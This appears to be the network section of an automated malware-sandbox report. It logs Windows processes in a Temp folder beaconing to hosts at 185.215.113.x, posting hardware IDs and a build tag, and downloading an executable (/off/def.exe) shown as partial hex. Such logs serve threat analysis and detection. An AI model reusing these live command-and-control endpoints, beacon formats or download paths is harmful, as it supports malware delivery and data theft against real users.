Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@lwvfpqpj :@nnhflwrw V@.taggant@"Z*@
Nov 23, 2024 18:22:35.128304958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.128315926 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129313946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129373074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129388094 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129868031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129894972 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129904985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.129992962 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:35.336513996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49854	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:42.344088078 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008486001&unit=246122658369
Nov 23, 2024 18:22:43.798610926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49858	185.215.113.16	80	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:43.526104927 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 18:22:45.000159979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:44 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Sat, 23 Nov 2024 16:30:17 GMT Connection: keep-alive ETag: "67420319-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@lwvfpqpj :@nnhflwrw V@.taggant@"Z*@
Nov 23, 2024 18:22:45.000211954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:45.000231028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:45.000309944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:45.000324965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:45.000340939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:45.000358105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:45.000442028 CET	1236	IN	Data Raw: a1 ca 6f 70 79 27 71 35 02 16 6f ad f2 4c cc 5f 9e 63 d6 4f 5f 01 c3 0f 2e dc a4 2e c8 61 35 45 5a 4e 1b d4 c3 3f f6 8f aa 97 ac 65 d3 05 61 30 0f dd 90 5f 4b d0 63 2b 01 ff 6d 29 11 d5 27 42 13 c8 80 6f 79 d3 7c 87 5d ec 8f 25 ef e6 6d c0 3b af Data Ascii: opy'q5oL_cO_..a5EZN?ea0_Kc+m)'Boy\|]%m;~Tgi/-vC~]Ke1>u3@k@ERy,odv:W0sOYJTB@; =ahq>Ovp<wsv-TO@r\w~cCDz
Nov 23, 2024 18:22:45.000457048 CET	1236	IN	Data Raw: 8d cb 86 85 b5 cb 8a 51 9e b6 0f 66 f8 ee 84 de 3f f6 80 69 71 01 a3 4e 2f 53 ab 75 15 0e 7b 70 3f f6 ba 4f a1 2e bf 72 a6 c1 fc ed 15 cb c6 6f 3f 2a 87 9d 71 12 d7 63 63 67 e1 a9 3d ee e2 46 6f ef 1a ca f8 4a 74 f7 15 4e 93 70 7f df fa bd 87 86 Data Ascii: Qf?iqN/Su{p?O.ro?*qccg=FoJtNpFWrzD%pSp@>P.CrC%w)@K/JS_'Z@C/%voHh[RqpX}`OpG4N?wVJ^NFm,4dI\|0iPo0{
Nov 23, 2024 18:22:45.000473976 CET	1236	IN	Data Raw: 56 e8 7f 76 6b 06 87 42 52 33 37 70 0a b2 76 e4 04 c1 88 9d 45 db aa 16 fa 24 b6 8e 64 a6 dc 13 5c f3 b4 a0 03 47 a9 34 90 25 5c 43 1f e0 bb 06 50 ce da 7f f5 31 f8 91 0f be e4 91 60 21 d7 ca 87 db d2 5e 11 25 cb 78 06 98 1b 71 7d 7b a0 c1 c2 b4 Data Ascii: VvkBR37pvE$d\G4%\CP1`!^%xq}{!z?MS4!t2> l;Q8{s%dAZpWsH_e}8<,2XadR[rL&aRO%vrSSR1@>^tV`m)+?!
Nov 23, 2024 18:22:45.121797085 CET	1236	IN	Data Raw: fe 13 50 1a 28 e2 65 49 23 66 6c 34 dc c2 a8 50 f3 db 74 b0 f3 e2 c6 3d f0 f8 52 96 f6 d3 51 61 f3 d2 cc 7b 40 df 18 03 73 a7 62 a7 54 91 84 de 3e 8c df 74 56 30 8f 2d 3f c0 78 84 5d 1f d3 7b ed 2d d1 72 63 21 c8 1e c0 eb 71 00 b0 35 d6 b2 5f a6 Data Ascii: P(eI#fl4Pt=RQa{@sbT>tV0-?x]{-rc!q5_?WlhsuMuUs_c.;AZ&gI\K.!_`si^d_jGTjI%wHJY@rnW*{a3 PSl=9i}bCJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49868	34.107.221.82	80	3352	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:45.300450087 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:22:46.521090984 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38089 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:22:56.526129007 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:23:06.726057053 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:23:17.425050020 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49869	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:45.587619066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:22:46.999520063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49871	185.215.113.206	80	7836	C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:46.185899019 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 18:22:47.611973047 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 18:22:47.615031958 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 43 38 39 44 34 37 32 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="hwid"D59C89D472CB1681895587------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="build"mars------CGCFCBAKKFBFIECAEBAE--
Nov 23, 2024 18:22:48.283963919 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49875	34.107.221.82	80	3352	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:47.209495068 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:22:48.411375999 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 58423 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:22:58.416522026 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:23:08.624753952 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:23:18.927964926 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49885	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:48.721379042 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:22:50.166908026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49893	185.215.113.16	80	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:51.130781889 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 18:22:52.510473967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:52 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Sat, 23 Nov 2024 16:30:17 GMT Connection: keep-alive ETag: "67420319-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 d0 ae 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@lwvfpqpj :@nnhflwrw V@.taggant@"Z*@
Nov 23, 2024 18:22:52.510591030 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.511441946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.511490107 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.511499882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.511531115 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.512157917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.512168884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.512178898 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.513039112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 18:22:52.735907078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49896	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:51.919955969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:22:53.418056011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49904	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:22:55.387115955 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:22:56.490017891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
